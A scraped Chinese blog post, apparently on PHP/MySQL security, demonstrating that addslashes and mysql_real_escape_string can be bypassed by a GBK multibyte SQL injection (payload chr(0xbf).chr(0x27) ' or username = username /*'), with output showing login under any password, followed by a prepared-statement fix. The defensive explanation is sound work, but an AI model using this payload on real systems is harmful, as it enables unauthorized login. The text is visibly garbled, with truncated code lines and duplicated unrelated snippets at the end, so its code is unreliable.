_real_escape_string也有黑客可以繞過的辦法,如果你的系統仍在用上面三個方法,那麼我的這篇博文就有了意義,以提醒所有後來者繞過這個坑。
出於為後人栽樹而不是挖坑的考慮,給出php以及mysql的版本資訊,以免將來「問題」不再是「問題」了。
來防注入已經不用我說了,這種「黑名單」式的防禦已經被證明是經不起時間考驗的。
_real_escape_string的方法(trick)。
注意:雖然在mysql5.5.37-log下該trick已經被修復了,但仍然沒有確切地解決注入問題,介於很多公司的系統仍在使用mysql5.0,我建議立馬做出改進,這點也是我《也說說幾種讓程式設計師快速提高能力的方法
》中提到的乙個十分重要的點。
。mysql:
mysql> select version();+---------------------+
| version() |
+---------------------+
| 5.0.45-community-ny |
+---------------------+
1 row in set (0.00 sec)
mysql> create database test default charset gbk;
query ok, 1 row affected (0.00 sec)
mysql> use test;
database changed
mysql> create table users (
username varchar(32) character set gbk,
password varchar(32) character set gbk,
primary key (username)
);query ok, 0 rows affected (0.02 sec)
mysql> insert into users set username='ewrfg', password='wer44';
query ok, 1 row affected (0.01 sec)
mysql> insert into users set username='ewrfg2', password='wer443';
query ok, 1 row affected (0.01 sec)
mysql> insert into users set username='ewrfg4', password='wer4434';
query ok, 1 row affected (0.01 sec)=
php:
echo "php version: ".php_version."\n";
name','username','password');
mysql_select_db("test");
mysql_query("set names gbk");
$_post['username'] = chr(0xbf).chr(0x27).' or username = username /*';
';$username = addslashes($_post['username']);
$password = addslashes($_post['password']);
= "select * from users where username = '$username' and password = '$password'";
$result = mysql_query($sql) or trigger_error(mysql_error().$sql);
var_dump(mysql_num_rows($result));
var_dump(mysql_client_encoding());
$username = mysql_real_escape_string($_post['username']);
$password = mysql_real_escape_string($_post['password']);
$sql = "select * from users where username = '$username' and password = '$password'";
) or trigger_error(mysql_error().$sql);
var_dump(mysql_num_rows($result));
var_dump(mysql_client_encoding());
mysql_set_charset("gbk");
$username = mysql_real_escape_string($_post['username']);
$password = mysql_real_escape_string($_post['password']);
$sql = "select * from users where username = '$username' and password = '$password'";
);var_dump(mysql_num_rows($result));
var_dump(mysql_client_encoding());
結果:
php version: 5.2.5可以看出來不論是使用addslashes還是mysql_real_escape_string,我都可以利用編碼的漏洞來實現輸入任意密碼就能登入伺服器的注入攻擊!!!!(攻擊的原理我就不多說了,感興趣的同學可以研究下字元編碼中單位元組和多位元組的問題)int(3)
string(6) "latin1"
int(3)
string(6) "latin1"
int(0)
string(3) "gbk"
。完美解決方案就是使用擁有prepared statement機制的pdo和mysqli來代替mysql_query(注:mysql_query自 php 5.5.0 起已廢棄,並在將來會被移除):
pdo:
:dbname=dbtest;host=127.0.0.1;charset=utf8', 'user', 'pass');
$pdo->setattribute(pdo::attr_emulate_prepares, false);
$pdo->setattribute(pdo::attr_errmode, pdo::errmode_exception);
$stmt = $pdo->prepare('select * from employees where name = :name');
$stmt->execute(array('name' => $name));
foreach ($stmt as $row)
mysqli:
$stmt = $dbconnection->prepare('select * from employees where name = ?');$stmt->bind_param('s', $name);
$stmt->execute();
$result = $stmt->get_result();
while ($row = $result->fetch_assoc())
PHP全站防注入
arrfiltrate array union 出錯後要跳轉的url,不填則預設前一頁 strgourl 是否存在陣列中的值 functionfunstringexist strfiltrate,arrfiltrate returnfalse 合併 post和 get 驗證開始 foreach ar...
PHP防SQL注入
php防sql注入攻擊 收藏 沒有太多的過濾,主要是針對php和mysql的組合。一般性的防注入,只要使用php的 addslashes 函式就可以了。以下是一段copy來的 php post sql injection post get sql injection get function sql...
PHP防SQL注入
php防sql注入攻擊 收藏 沒有太多的過濾,主要是針對php和mysql的組合。一般性的防注入,只要使用php的 addslashes 函式就可以了。以下是一段copy來的 php post sql injection post get sql injection get function sql...